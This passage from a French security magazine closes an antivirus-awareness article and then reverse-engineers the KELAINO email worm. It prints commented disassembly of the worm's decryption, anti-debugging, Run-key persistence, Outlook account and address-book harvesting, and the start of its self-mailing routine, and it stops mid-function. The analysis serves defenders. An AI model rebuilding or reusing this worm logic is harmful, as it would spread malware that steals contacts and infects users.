proposer d'exécuter les patchs de sécurité joints au message. Le message a TOUTES les caractéristiques d'un bulletin de sécurité de Microsoft.
MAIS :
- Jamais vous ne devez recevoir un bulletin de sécurité de Microsoft si vous ne vous êtes pas abonné vous-même à ce service.
- Microsoft ne joint JAMAIS les patchs exécutables en pièces jointes des messages. Microsoft vous indique uniquement les adresses de ses sites où les récupérer.
Donc, si vous êtes vigilants, vous ne devez jamais cliquer sur l'exécutable joint à un message qui suscite votre méfiance. Mais si votre méfiance n'est pas en alerte ainsi que votre sens critique ou votre bon sens, alors...

Signé l'OSSI.
Fin du message.

EXPÉRIENCES ET LEÇONS

L'ESAT n'a jamais sous-estimé le risque viral. La sécurité est un processus permanent, jamais un résultat acquis. La lutte antivirus en est une composante forte, familière des usagers. L'ESAT s'efforce, notamment par la sensibilisation, de susciter chez eux les bons réflexes et de ne pas leur faire oublier les autres fondamentaux :

- Mettre à jour son système d'exploitation (patches et autres correctifs de sécurité) ;
- Mettre à jour son navigateur (vecteur numéro 1 de propagation des vers et virus récents) ;
- Mettre à jour son antivirus.

Ainsi, les réflexes antivirus permettent de préparer le chemin vers l'adoption d'autres comportements tout aussi importants.

En conclusion, comment appliquer une politique antivirale :

- Réaliser des actions de sensibilisation en utilisant les outils de communication comme un portail SSI, les emails, le journal interne, les newsletters, animation lors de la fête de l'Internet...
- Faire signer une charte utilisateur ;
- Etablir des réseaux d'échange d'informations à tous les niveaux de l'entreprise ;
- Garder à l'esprit qu'appliquer une politique antivirale requiert une approche systémique de la sécurité.

Alain Foucal & Thierry Martineau

Ecole Supérieure et d'Application des Transmissions - Rennes.

CONCLUSION

ANALYSE

La détection d'un code malicieux ne règle le problème de la lutte antivirale que partiellement. Un virus ou ver peut avoir de nombreuses variantes toutes identifiées de la même manière. Il n'est alors possible d'avoir de certitude que par l'analyse fine du code exécutable. Cela requiert de passer par une phase de Reverse Engineering, technique souvent conspuée car servant aux pires exactions de "crackers" de code, mais très utile dans le cas de l'analyse des risques viraux. Cet article présente un cas concret : celui de l'étude du ver KELAINO.

INTRODUCTION

Depuis la généralisation d'Internet, nous avons pu voir de nouvelles formes d'attaques virales. Les virus classiques ont laissé place aux vers, ceux-ci se propageant beaucoup plus rapidement grâce à Internet. De nombreux types de vers sont apparus depuis, profitant des trop nombreuses failles dans de nombreux produits de communication.

Les vers utilisant les mails sont apparus (type MELISSA), suivis de près par les vers utilisant l'IRC et autres moyens de communication. Cependant, le moyen le plus rapide pour infecter le plus grand nombre de victimes reste les infections par envois de mails, suivis de près par les infections de type CodeRed II.

Beaucoup de ces vers sont des exécutables de type Win32 et, contrairement aux vers en langage VBS du type ILoveYou, le code source n'est accessible qu'après désassemblage.

D'UN VER PAR DÉSASSEMBLAGE

ANALYSE PRATIQUE

Nous allons maintenant voir comment se déroule l'analyse d'un ver par désassemblage. Pour cette analyse, nous allons principalement nous servir du désassembleur IDA [1] (*Interactive Disassembler*). J'ai choisi un ver assez "simple" afin que tout le monde puisse comprendre. Le code du ver est commenté entièrement afin d'aider les personnes n'ayant aucune connaissance en langage assembleur [2] à comprendre le fonctionnement d'un ver. Si vous ne connaissez pas les API Windows, je vous invite à télécharger l'*API Reference Guide* [3] ainsi que la référence des API Winsock [4]. Pour cette analyse, nous allons procéder comme s'il s'agissait d'un ver inconnu. Nous ne possédons donc pour l'instant aucune information pouvant faciliter l'analyse.

RÉCUPÉRATION D'INFORMATIONS SUR LE BINAIRE

Avant de commencer, nous allons récupérer une série d'informations sur notre binaire. Pour cette tâche, un éditeur de fichier PE (*Portable Executable*, voir l'article sur Chernobyl dans MISC3) tel que PE Explorer, LordPE [5] ou Procdump s'avère nécessaire. Je vais utiliser un outil que j'ai programmé pour afficher rapidement les informations pertinentes. Cependant, un éditeur PE comme ceux cités précédemment est amplement suffisant.

```
Filename: C:\MISC5\WORM\kelaino.EXE


Number of sections: 4
Size of Code: A00
Entry Point: 1000
Image Base: 400000

CODE    Vsize:1000 RVA:1000 Psize:A00 Offset:600  Flags:60000020
DATA    Vsize:1000 RVA:2000 Psize:E00 Offset:1000 Flags:C0000040
.idata  Vsize:1000 RVA:3000 Psize:400 Offset:1E00 Flags:C0000040
.reloc  Vsize:1000 RVA:4000 Psize:200 Offset:2200 Flags:50000040

BYTES FOUND AT ENTRY POINT: B95D2D40
```

Les caractéristiques de la section code (60000020) affirment que notre section est *Executable* et *Readable* (exécution et lecture possible). Cela laisse suggérer que notre exécutable n'est pas PE packé/chiffré (autrement qu'aucune compression de code ou qu'aucun chiffrement n'a été utilisé pour tenter de lutter contre le désassemblage). Généralement, la section est aussi *Writeable* (écriture possible) quand nous sommes en présence d'un exécutable packé. Certaines API permettent de changer les caractéristiques à la volée, donc il ne faut pas se fier seulement à celles-ci.

L'*entry-point* (début du programme) pointe vers la première section. Si celle-ci était chiffrée/compressée, l'entry-point pointerait vers la dernière section. De plus, les caractéristiques de la dernière section seraient exécutables (la section `.reloc` n'est pas exécutable).

Regardons maintenant les octets à l'entry-point. Nous nous rendons compte qu'il ne s'agit pas d'un début de programme standard. Les compilateurs C/C++, Delphi, etc. émettent toujours une série d'octets plus ou moins identiques au début du programme : 558BEC. Il s'agit des instructions :

```
push ebp    (55)
mov ebp,esp (8BEC).
```

C'est un *stack-frame*, utilisé pour réserver de la place sur la pile. Les compilateurs génèrent toujours ces instructions à l'entry-point (Note : Je généralise pour ne pas m'attarder sur ce point). Cependant, les assembleurs ne produisent que les instructions que le programmeur a voulu utiliser. Aucun stack-frame n'est ajouté. L'adresse de l'entry-point (1000h) correspond à l'adresse utilisée par les assembleurs MASM et TASM. Comment les différencier ? Le nom des sections nous permet d'avancer que le compilateur TASM a été utilisé car la première section est nommée `CODE` chez les fichiers compilés par un outil Borland, alors que le nom est ".text" chez les fichiers compilé par un outil Microsoft. La section de l'*Import Table* est nommée ".rdata" par les outils Borland, contre ".idata" par les outils Microsoft. Tout ces petits détails nous permettent de dire (sans analyse poussée) que notre binaire a été compilé avec TASM et qu'il n'est ni compressé, ni chiffré.

DÉSASSEMBLAGE

A l'aide d'IDA, nous allons donc analyser le code du ver. Je ne m'attarderai pas sur l'utilisation d'IDA car ce n'est pas le but de l'article. Après avoir désassemblé notre ver, voyons un peu le code de plus près.

```
00401000              public start
00401000 start        proc near
00401000              mov     ecx, 402D50h
00401005              sub     ecx, 402000h
00401008              mov     eax, 402000h
00401010
```

```
00401010 loc_401010:                    ; CODE XREF: start+1A j
00401010          cmp     ecx, 0
00401013          jz      short loc_40101C
00401015          sub     byte ptr [eax], 30h
00401018          inc     eax
00401019          dec     ecx
0040101A          jmp     short loc_401010
```

Nous sommes ici au début du ver, et le code n'est pas encore commenté. IDA permet une multitude d'actions tel que le renommage d'adresses, le commentaire du code, l'écriture de scripts, de plugins, le désassemblage d'une grande quantité de formats de fichiers, ainsi que le support de processeurs tel qu'Intel, Sparc, Motorola, Alpha, MIPS, etc. Je vous invite à visiter le site d'IDA pour de plus amples informations. A partir de maintenant, je donnerai le code commenté directement.

ANALYSE DES DONNÉES

```
00401000 start        proc near
00401000         mov     ecx, addr_fin_data       ECX = Adresse de la fin des datas
00401005         sub     ecx, addr_deb_data      ; ECX = 40205D - 402000 = taille des datas.
0040100B         mov     eax, 402000h             EAX = adresse du debut des datas
00401010
00401010 boucle_decrypte:                         CODE XREF: start+1A j
00401010         cmp     ecx, 0                   ECX sert de compteur.
00401013         jz      short decryptage_termine ; tant ecx != 0 on boucle.
00401015         sub     byte ptr [eax], 30h      ; on soustrait 30h au byte pointé par EAX
00401018         inc     eax                      ; on passe au prochain byte à décrypter
00401019         dec     ecx                      ; on décrémente le compteur
0040101A         jmp     short boucle_decrypte    ; on boucle tant que ECX est différent de 0
```

Cette routine sert à décrypter les données utilisées par le ver. L'auteur du ver a protégé ses données afin de rendre l'analyse un peu plus complexe, et surtout d'éviter qu'un petit malin vienne modifier le texte présent dans le ver avec un éditeur hexadécimal, afin de s'approprier celui ci. Le ver calcule la taille de la section des données, et soustrait la valeur 30h à tous les octets présents dans cette section. Le chiffrement est très basique.

Après avoir récupéré la taille des données à déchiffrer (D5Dh bytes), le ver soustrait 30h à chaque octet de la section des données. Encore une fois, avec un désassembleur standard, cela aurait posé problème, mais IDA permet de créer des scripts pour automatiser des tâches et de travailler sur le désassemblage.

A l'aide d'un script, nous allons pouvoir décrypter la section de données sans même avoir à déboguer le ver.

```
#include
static decrypt(from,size)
{
 auto i,x; // on déclare nos variables.

   for(i=size;i>0;i=i-1) { // boucle "size" fois.
     x=Byte(from);          // on récupère le byte[from].
     x=x-0x30;              // on décrypte en retirant 30h (ou x est la valeur du byte chiffré)
     PatchByte(from,x);     // on patch le byte avec la nouvelle valeur.
     from=from+1;           // on incrémente le compteur
   }
}
```

Pour appeler le script que nous avons écrit et enregistré dans le répertoire IDC d'IDA, il suffit de presser sur . On ouvre notre fichier script. Ensuite, il faut presser pour obtenir l'invite de commandes qui va nous permettre de rentrer les paramètres de notre script.

```
decrypt(0x402000,0xD5D);
```

- Decrypt étant le nom de la fonction.
- 402000h étant l'adresse de début des données.
- D5Dh étant la taille des données à décrypter (calculée au début par le ver).

Il suffit de cliquer sur OK et le décryptement se fait automatiquement. Nous avions avant décryptement:

```
DATA:00402799 aVvqajprXSsuqrp db 'vóf0jPR{ò£æÕ×fRPlø𣿕×fpØÕòófúfûñ^ôfØn=:âÑ£ÜòõñjPâ£æªòP}òúú'
DATA:00402799                 db 'æùò=:}y}u]âòóúÕf×jPa^`=:sf×ñò×ñ]ã®áòjPØÑ£ñÕáæóñ_ØÕ¿òõk=:PPPP'
DATA:00402799                 db 'PPPPÆfÑ×õæó®mR]]]]mÅ~ò¿ñÇæóñÅ```Å```eÅ`artubus^hrbhfs``R=:ê]'
DATA:00402799                 db 'ÇóÖfóÕñ®jPc=:ê]}â}æÕ£]ÇóÖfóÕñ®jP~fóØæ£=:ê]à×úò×ñjPa=:ê]}ÕØò'
etc..
```

Après décryptement :

```
DATA:00402799 aFromKelainoKel db 'From: "Kelaino" ',0Dh,0Ah
DATA:00402799                 db 'Subject: Slave Message',0Dh,0Ah
DATA:00402799                 db 'MIME-Version: 1.0',0Dh,0Ah
DATA:00402799                 db 'Content-Type: multipart/mixed;',0Dh,0Ah
DATA:00402799                 db '        boundary="----=_NextPart_000_0005_01BDE2EC.8B286C00"'
DATA:00402799                 db 0Dh,0Ah
etc.
```

Nous pouvons continuer l'analyse, la section des données est entièrement déchiffrée.

```
0040101C decryptage_termine:                  ; CODE XREF: start+13 j
0040101C          call    GetVersion          ; retourne la version de L'OS
00401021          or      eax, eax
00401023          jns     short windows_NT    ; si WinNT on passe à la suite
00401025          mov     ah, 43h             ; service 43h - D386_Identify.
00401027          int     68h                 ; Real Mode Debugger Services.
00401029          cmp     ax, 0F386h          ; si ax = f386h
0040102D          jz      sortie              ; on ferme le ver.
```

Après avoir vérifié si l'OS utilisé est Windows 9X, le ver cherche la présence du débogueur SoftIce. Celui-ci retourne 0F386h dans le registre AX lors de l'appel de l'interruption 68h, service 43h. S'il est détecté, le ver s'arrête. SoftIce est un outil très souvent utilisé lors des analyses de virus ; donc l'auteur a voulu tester la présence du débogueur. La version de SoftIce pour NT étant différente, l'auteur teste la version de Windows au préalable afin d'éviter toute erreur pouvant alerter l'utilisateur.

```
00401033 windows_NT:
00401033          push    50h                  ; taille 50h = 80 caractères maximum.
00401035          push    offset Filename ; Buffer qui contiendra le chemin et nom de notre fichier.
0040103A          push    0
0040103C          call    GetModuleFileNameA   ; Récuperation du chemin et nom du fichier.
00401041          push    offset aWininet_dll  ; Nom de la dll a charger. Wininet.dll
00401046          call    LoadLibraryA         ; charge la dll
0040104B          mov     ds:hLibModule, eax   ; on sauvegarde le handle
00401050          mov     ebx, offset _addr_API ; EBX = adresse de l'API - 4
00401055          add     ebx, 4               ; on ajoute 4 pour pointer vers le nom de l'API
00401058          push    ebx                  ; InternetGetConnectedState
00401059          push    eax                  ; Handle retourné par LoadLibrary.
0040105A          call    GetProcAddress       ; On récupère l'adresse de l'API
```

```
0040105F        mov     ds:_addr_API, eax     ; On sauvegarde cette adresse.
00401064        cmp     eax, 0                ; En cas d'erreur
00401067        jz      sortie                ; le ver se termine.
0040106D        call    GetVersion            ; Récupération de la version de l'OS
00401072        or      eax, eax
00401074        jns     short suite       ; Si Windows NT on continue après le code anti-debug.
00401076        cli                       ; \
00401077        not     esp               ;  Anti debugging. Protection contre les debuggers.
00401079        not     esp               ; /
0040107B        sti                       ;
```

Notre ver récupère son propre nom et chemin et le stocke dans un buffer de 80 caractères (Remarque: il aurait mieux valu utiliser une valeur plus importante pour être sûr de ne pas provoquer de *buffer overflow*). Ensuite, le ver charge dynamiquement la dll `wininet.dll` afin de récupérer l'adresse d'une de ses API : *InternetGetConnectedState*. Cette API permet à une application de savoir si l'utilisateur est connecté à Internet. L'adresse de l'API est stockée pour une utilisation ultérieure. Tout de suite après, le ver récupère la version de Windows pour déterminer s'il peut exécuter le code *anti-debug*. Ce code fonctionne seulement sur Windows 9X, donc le ver teste la version de l'OS pour de ne pas provoquer d'erreur et alerter l'utilisateur. Ce code anti-debug stoppe la plupart des débogueurs qui fonctionnent en *ring 3* (mode utilisateur).

```
0040107C suite:
0040107C        call    install_worm        ; Installation du vers (rep. win et registre)
00401081        call    recuperation_infos  ; récupération d'infos dans la base de registres
```

La suite du ver contient deux procédures que nous allons voir en détails.

INSTALLATION DU VER

```
00401125 ; ÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚ S U B R O U T I N E ÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚ
00401125
00401125
00401125 install_worm   proc near
00401125                push    32h                     ; taille buffer
00401127                push    offset Buffer       ; Contiendra le dossier Win. (ex: C:\WINNT)
0040112C                call    GetWindowsDirectoryA    ; On récupère le répertoire Windows
00401131                push    offset CurDirBuffer     ; Contiendra le répertoire actuel
00401136                push    46h                     ; Taille buffer
00401138                call    GetCurrentDirectoryA    ; Récupère le répertoire actuel
0040113D                push    offset Buffer   ; Contient désormais le répertoire Windows
00401142                call    SetCurrentDirectoryA    ; Notre répertoire devient celui de Windows
00401147                push    1                       ; Erreur si fichier deja présent
00401149                push    offset netbiospatch10_exe       ; nouveau fichier
0040114E                push    offset fichier_actuel
00401153                call    CopyFileA       ; copie notre fichier dans le répertoire Windows.
00401158                cmp     eax, 0                  ; si eax = 0 alors erreur.
0040115B                jz      short installation_registre ; on continue avec l'installation registre
0040115D                push    0                       ; Bouton "OK" seulement.
0040115F                push    offset KERNEL32_ERROR   ; Caption
00401164                push    offset CouldntExecuteFrameBuffer ; text
00401169                push    0                       ; handle
0040116B                call    MessageBoxA             ; Affiche message
00401170
00401170 installation_registre:
00401170                push    offset phkResult
00401175                push    KEY_ALL_ACCESS          ; tous les droits sur la clef.
0040117A                push    0
0040117C                push    offset autorun      ; Software\Microsoft\Windows\CurrentVersion\Run
00401181                push    HKEY_LOCAL_MACHINE              ; hKey
00401186                call    RegOpenKeyExA                   ; Ouvre une clef du registre
0040118B                cmp     ds:phkResult, 0         ; En cas d'erreur, on arrête l'installation
00401192                jz      short erreur_fin_installation
00401194                push    18                      ; taille de la valeur à écrire
00401196                push    offset netbiospatch10_exe       ; chaine à écrire.
0040119B                push    REG_SZ                  ; type Chaîne de caractères
0040119D                push    0
0040119F                push    offset Netpatch         ; Nom de la "valeur chaîne".
004011A4                push    ds:phkResult
004011AA                call    RegSetValueExA          ; Ajoute une valeur de type chaîne (REG_SZ)
004011AF                push    ds:phkResult
00401185                call    RegCloseKey             ; Ferme la clef
0040118A                mov     ds:phkResult, 0
004011C4
004011C4 erreur_fin_installation:                       ; CODE XREF: install_worm+6D j
004011C4                retn
004011C4 install_worm   endp
```

Cette procédure copie le ver dans le répertoire Windows sous le nom de "*netbiospatch10.exe*". Ensuite, elle affiche un faux message d'erreur: "KERNEL32 ERROR. Couldn't Execute Frame Buffer!" Ce message a pour but de faire croire à la personne que le programme a un problème et qu'il est donc inoffensif. La victime passe à autre chose, alors que le ver, quant à lui, continue de s'installer et prépare sa propagation. Si le fichier est déjà présent dans le répertoire Windows, le ver n'affiche aucun message et continue son installation. Après s'être copié, le ver ouvre une clef dans la base de registres qui est utilisée pour définir les applications à lancer automatiquement au démarrage de Windows. Il ouvre la clef *HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run* pour y ajouter une valeur chaîne ayant pour nom *Netpatch* et comme valeur *netbiospatch10.exe*. Cette manipulation permet au ver de se relancer automatiquement à chaque redémarrage de Windows.

Regardons maintenant la seconde procédure.

RÉCUPÉRATION D'INFORMATIONS

```
004011C5 ; ÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚ S U B R O U T I N E ÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚÚ
004011C5
004011C5
004011C5 recuperation_infos proc near
004011C5                push    offset phkResult
004011CA                push    KEY_ALL_ACCESS
004011CF                push    0
004011D1                push    offset Account_Manager_key      ; clef à ouvrir

        =( Account_Manager_key db 'Software\Microsoft\Internet Account Manager',0 )=

004011D6                push    HKEY_CURRENT_USER
004011DB                call    RegOpenKeyExA               ; ouvre l'Internet Account Manager
004011E0                cmp     ds:phkResult, 0
004011E7                jz      prendre_options_par_defauts
004011ED                push    offset dSize
004011F2              push    offset STR__00000000 ; buffer qui contiendra le numéro du mail par défaut
004011F7                push    0
004011F9                push    0
004011FB                push    offset STR__DefaultMailAccount    ; "Default Mail Account"
00401200                push    ds:phkResult
00401206                call    RegQueryValueExA        ; lit les infos sur le compte par défaut
```

```
00401208            cmp     dword ptr ds:STR__00000000+7, '0'  ; sagit-il du compte 0?
00401212            jz      prendre_options_par_defauts ; oui alors on prends les infos par défaut
00401218            mov     ds:dSize, 9                ; le buffer prend 9 pour valeur.
00401222            push    ds:phkResult
00401228            call    RegCloseKey                ; on ferme la clef
0040122D            mov     ds:phkResult, 0
00401237            push    offset phkResult
0040123C            push    KEY_ALL_ACCESS
00401241            push    0
00401243            push    offset aSoftware ; "Software\\Microsoft\\Internet Account Man"...

        =( aSoftware      db 'Software\Microsoft\Internet Account Manager\Accounts\0000000' )=

00401248            push    HKEY_CURRENT_USER
0040124D            call    RegOpenKeyExA    ; Ouvre la clef patchée au préalable pour obtenir
le compte par défaut
00401252            cmp     ds:phkResult, 0            ; si le handle = 0
00401259            jz      prendre_options_par_defaut ; erreur. on prends les options par défaut
0040125F            push    offset cbData
00401264            push    (offset aFromKelainoKel+1AAh)
00401269            push    0
0040126B            push    0
0040126D            push    offset STR__Pop3Server     ; "POP3 Server"
00401272            push    ds:phkResult
00401278            call    RegQueryValueExA           ; on récupère le serveur pop
0040127D            mov     ds:cbData, 30
00401287            push    offset cbData
0040128C            push    offset Data
00401291            push    0
00401293            push    0
00401295            push    offset STR__SmtpEmailAddress      ; "SMTP Email Address"
0040129A            push    ds:phkResult
004012A0            call    RegQueryValueExA   ; on récupère l'adresse mail de la victime
004012A5            mov     ds:cbData, 30
004012AF            push    offset cbData
004012B4            push    offset unk_402963
004012B9            push    0
004012BB            push    0
004012BD            push    offset STR__Pop3UserName          ; "POP3 User Name"
004012C2            push    ds:phkResult
004012C8            call    RegQueryValueExA          ; Le nom d'utilsateur de la victime
004012CD            mov     ds:cbData, 30
004012D7            push    offset cbData
004012DC            push    offset smtpserv_temp
004012E1            push    0
004012E3            push    0
004012E5            push    offset Smtpnamebuffer             ; "SMTP Server"
004012EA            push    ds:phkResult
004012F0            call    RegQueryValueExA          ; le serveur smtp utilisé par la victime
004012F5            mov     ds:cbData, 30
004012FF            cmp     ds:smtpserv_temp, 0
00401306            jz      short serveur_hardcode ; si pas de serveur prendre celui par défaut
00401308            mov     eax, offset smtpserv_temp
0040130D            mov     ds:serveur_smtp, eax
00401312            push    ds:phkResult
00401318            call    RegCloseKey                ; on ferme la clef
0040131D            mov     ds:phkResult, 0
00401327            retn
00401328 ; ---------------------------------------------------------------------------
00401328
00401328 serveur_hardcode:
00401328            push    ds:phkResult
0040132E            call    RegCloseKey
00401333
00401333 prendre_options_par_defaut:
00401333
00401333
00401333            mov     eax, offset aWww_festu_ru  ; "www.festu.ru"
00401338            mov     ds:serveur_smtp, eax
0040133D            retn
0040133D recuperation_infos endp
```

On voit qu'ici, le ver récupère des infos telles que le compte mail Outlook utilisé par défaut. Il récupère ensuite le serveur POP, l'adresse mail de la victime, le login du serveur POP, et le serveur SMTP. Le ver utilise comme serveur SMTP "www.festu.ru" si aucun serveur SMTP n'est utilisé par l'utilisateur, ou s'il n'y a aucun compte mail par défaut pour Outlook Express. Après avoir exécuté ces deux procédures, nous pouvons voir ce qui suit.

DÉTECTION DE CONNEXION INTERNET

```
00401086 IsConnected:                               ; CODE XREF: start+96 j
00401086            push    0
00401088            push    offset dword_402C61
0040108D            call    ds:_addr_API       ; adresse de l'api : InternetGetConnectedState
00401093            cmp     eax, 0             ; SI EAX = 0
00401096            jz      short IsConnected  ; alors on boucle sur IsConnected
00401098            call    OuvreWAB
```

Le ver appelle la fonction dont il avait calculé l'adresse au lancement. Cette fonction permet de savoir si l'utilisateur est connecté à Internet. Dans notre cas, le ver boucle sur lui-même tant qu'il n'y a pas de connexion Internet. Nous pouvons imaginer qu'il attend que l'utilisateur se connecte pour pouvoir s'envoyer par mail. Une fois connecté, le ver appelle la fonction OuvreWAB qui suit.

RÉCUPÉRATION DES ADRESSES MAIL

```
0040133E OuvreWAB       proc near                   ; CODE XREF: start+98 p
0040133E            push    offset hKey
00401343            push    KEY_ALL_ACCESS
00401348            push    0
0040134A            push    offset STR_SoftwareMicrosoftWab ; "Software\\Microsoft\\
WAB\\WAB4\\Wab File Na"...

        =( STR_SoftwareMicrosoftWab db 'Software\Microsoft\WAB\WAB4\Wab File Name' )=

0040134F            push    HKEY_CURRENT_USER
00401354            call    RegOpenKeyExA              ; Ouvre une clef de registre
00401359            cmp     ds:hKey, 0
00401360            jz      erreur
00401366            push    offset unk_402B0D
0040136B            push    offset FichierWAB
00401370            push    0
00401372            push    0
00401374            push    0
00401376            push    ds:hKey
0040137C            call    RegQueryValueExA           ; Récupère le nom du fichier WAB
00401381            push    ds:hKey
00401387            call    RegCloseKey                ; Ferme la clef de registre
0040138C            cmp     ds:FichierWAB, 0
00401393            jz      erreur                     ; Si aucun fichier. Erreur
00401399            push    0
00401398            push    0
0040139D            push    3
0040139F            push    0
```

```
004013A1              push    1
004013A3              push    80000000h
004013A8              push    offset FichierWAB
004013AD              call    CreateFileA                     ; On ouvre le fichier
004013B2              cmp     eax, 0FFFFFFFFh                 ; En cas d'erreur EAX = FFFFFFFFh
004013B5              jz      erreur                          ; Si EAX = FFFFFFFFh alors erreur
004013BB              mov     dword ptr ds:STR_Quit+6, eax
004013C0              push    0
004013C2              push    dword ptr ds:STR_Quit+6         ; Handle du fichier
004013C8              call    GetFileSize                     ; On récupère la taille de celui ci
004013CD              mov     dword ptr ds:TailleFichierWab, eax
004013D2              push    0
004013D4              push    dword ptr ds:TailleFichierWab
004013DA              push    0
004013DC              push    2
004013DE              push    0
004013E0              push    dword ptr ds:STR_Quit+6         ; Handle du fichier
004013E6              call    CreateFileMappingA              ; Récupère un handle
004013EB              mov     ds:hFichierMap, eax             ; Handle fichier mappé
004013F0              push    dword ptr ds:TailleFichierWab   ; Nombre de bytes à mapper
004013F6              push    0
004013F8              push    0
004013FA              push    4
004013FC              push    ds:hFichierMap                  ; Handle Fichier mappé
00401402              call    MapViewOfFile                   ; Map le fichier en memoire
00401407              mov     ds:MapAdresse, eax ; Adresse ou est mapper le fichier en mémoire
0040140C              push    eax                             ; Sauvegarde cette adresse
0040140D              push    dword ptr ds:TailleFichierWab   ; Nombre de bytes.
00401413              push    0
00401415              call    GlobalAlloc ; Alloue de la mémoire de la taille du fichier WAB.
0040141A              mov     dword ptr ds:AdrMemAlloc, eax   ; Adresse de la mémoire Allouée
0040141F              mov     edi, eax                        ; EDI = EAX = Adresse
00401421              pop     esi     ; Recupere l'adresse du fichier mappé sauvegardé sur la pile
00401422              mov     ecx, dword ptr ds:TailleFichierWab ; ECX = taille du fichier.
(compteur pour le REPE)
00401428              repe movsb ; Copie le fichier mappé dans la zone Allouée. (octet par octet)
0040142A              push    ds:MapAdresse
00401430              call    UnmapViewOffile                 ; DeMap le fichier
00401435              push    ds:hFichierMap
0040143B              call    CloseHandle                     ; Ferme le handle du fichier Mappé
00401440              push    dword ptr ds:STR_Quit+6
00401446              call    CloseHandle                     ; Ferme le handle du fichier WAB
0040144B              mov     eax, dword ptr ds:AdrMemAlloc   ; Renvoie l'adresse de la mémoire
allouée (EAX)
00401450              retn
00401451 ; ---------------------------------------------------------------------------
00401451
00401451 erreur:                                              ; CODE XREF: OuvreWAB+22 j
00401451                                                      ; OuvreWAB+55 j OuvreWAB+77 j
00401451
00401451              mov     eax, 0                          ; EAX = 0 en cas d'erreur.
00401456              retn
00401456 OuvreWAB     endp
```

Il commence par récupérer le chemin du fichier WAB en lisant la base de registres. Ensuite, le fichier WAB est mappé en mémoire et son contenu est recopié en mémoire allouée.

```
0040109D              cmp     eax, 0                          ; Si eax = 0 alors erreur
004010A0              jz      short Freelib_exit              ; On sort
004010A2              mov     ecx, [eax+64h]  ; ECX = nombre de mails présent dans le fichier WAB
004010A5              jecxz   short Free_exit ; Si ECX = 0 on libère la mémoire et le ver s'arrête
004010A7              add     eax, [eax+60h]      ; EAX = pointeur vers la première adresse mail.
004010AA              cmp     byte ptr [eax+1], 0             ; est elle Unicode ou pas?
004010AE              jnz     short non_unicode               ; non alors on continue
004010B0              mov     edx, offset buffer_mail_unicode
004010B5              push    eax                 ; on sauvegarde sur la pile l'adresse qui
pointe vers le premier mail
004010B6
004010B6 boucle_unicode:                                      ; CODE XREF: start+C5 j
004010B6                                                      ; start+E5 j
004010B6              mov     bl, [eax]                       ; BL = caractère ascii pointé par EAX
004010B8              mov     [edx], bl       ; On sauvegarde le caractère dans le buffer unicode
004010BA              cmp     bl, 0       ; Si bl = 0 on a fini de traiter l'unicode dans le mail
004010BD              jz      short envoyer_mail_unicode      ; On envoie
004010BF              add     eax, 2      ; On incrémente de 2 pour passer les "0" de l'unicode.
004010C2              add     edx, 1                          ; On incrémente de 1 le buffer unicode
004010C5              jmp     short boucle_unicode ; On boucle tant qu'on a pas retiré tout les 0.
004010C7 ; ---------------------------------------------------------------------------
004010C7
004010C7 envoyer_mail_unicode:                                ; CODE XREF: start+BD j
004010C7              pop     eax                             ; Récupère l'adresse de debut d'un mail
004010C8              add     eax, 48h                        ; On passe au mail suivant
004010CB              push    offset buffer_mail_unicode
004010D0              push    2                               ; Mode 2 ==> S'envoyer aux victimes
004010D2              call    Envoyer_mail
004010D7              sub     ecx, 1              ; ECX = ECX - 1 (compteur du nombre de mails)
004010DA              cmp     ecx, 0                          ; Si ECX = 0 on a envoyé tout les mails
004010DD              jz      short Free_exit ; On décharge wininet, on désalloue la mémoire et on sort
004010DF              push    eax                             ; Sauvegarde le pointeur de l'adresse mail
004010E0              mov     edx, offset buffer_mail_unicode
004010E5              jmp     short boucle_unicode
004010E7 ; ---------------------------------------------------------------------------
004010E7
004010E7 non_unicode:                                         ; CODE XREF: start+AE j
004010E7                                                      ; start+FA j
004010E7              push    eax                             ; EAX pointe vers une adresse mail
004010E8              push    2                               ; Mode 2 ==> S'envoyer aux victimes
004010EA              call    Envoyer_mail
004010EF              sub     ecx, 1              ; ECX = ECX - 1 (compteur du nombre de mails)
004010F2              cmp     ecx, 0                          ; Si ECX = 0 on a envoyé tout les mails
004010F5              jz      short Free_exit ; On décharge wininet, on désalloue la mémoire et on sort
004010F7              add     eax, 24h                        ; On passe au mail suivant
004010FA              jmp     short non_unicode
004010FC ; ---------------------------------------------------------------------------
004010FC
004010FC Free_exit:                                           ; CODE XREF: start+A5 j
004010FC                                                      ; start+DD j start+F5 j
004010FC              push    dword ptr ds:AdrMemAlloc        ; hMem
00401102              call    GlobalFree
00401107
00401107 Freelib_exit:                                        ; CODE XREF: start+A0 j
00401107              push    offset STR_Kelaino@freenet_de   ; "kelaino@freenet.de"
0040110C              push    1                               ; Mode 1 => Informer l'auteur
0040110E              call    Envoyer_mail ; Ici le ver mail son auteur pour l'informer de l'infection
00401113              push    ds:hLibModule
00401119              call    FreeLibrary                     ; Décharge Wininet.dll
0040111E
0040111E sortie:                                              ; CODE XREF: start+2D j
0040111E                                                      ; start+67 j
0040111E              push    0                               ; uExitCode
00401120              call    ExitProcess                     ; Fin du ver. L'execution est terminée
00401120 start        endp
```

Après avoir vérifié s'il y avait eu une erreur lors de l'ouverture du fichier WAB (carnet d'adresses), le ver commence par récupérer le nombre d'adresses mails présentes dans le fichier. Une fois ceci terminé, il commence par traiter les mails. En premier lieu, le ver vérifie si nous sommes en présence d'adresses écrites en Unicode ou en chaînes de caractères standards (Note: IE 5.5 utilise le format Unicode pour stocker les adresses mails dans le fichier WAB).

Ensuite, selon que les adresses mails sont écrites en Unicode ou pas, il les traite différemment. Si les adresses sont au format Unicode, il va d'abord les traduire en chaîne de caractères et envoyer le mail à chaque adresse. Si les adresses sont déjà des chaînes de caractères, il envoie directement le mail à chaque contact.

Nous allons maintenant voir en détails la fonction `Envoyer_mail`. Etant donné qu'elle est assez longue, je vais la découper et expliquer chaque partie au fur à mesure.

PROPAGATION PAR MAILS : ANALYSE DU MOTEUR SMTP

```
00401457 Envoyer_mail   proc near               ; CODE XREF: start+D2 p
00401457                                        ; start+EA p start+10E p
00401457                pop     esi             ; ESI = Adresse de retour
00401458                pop     ebx             ; EBX = Mail Mode
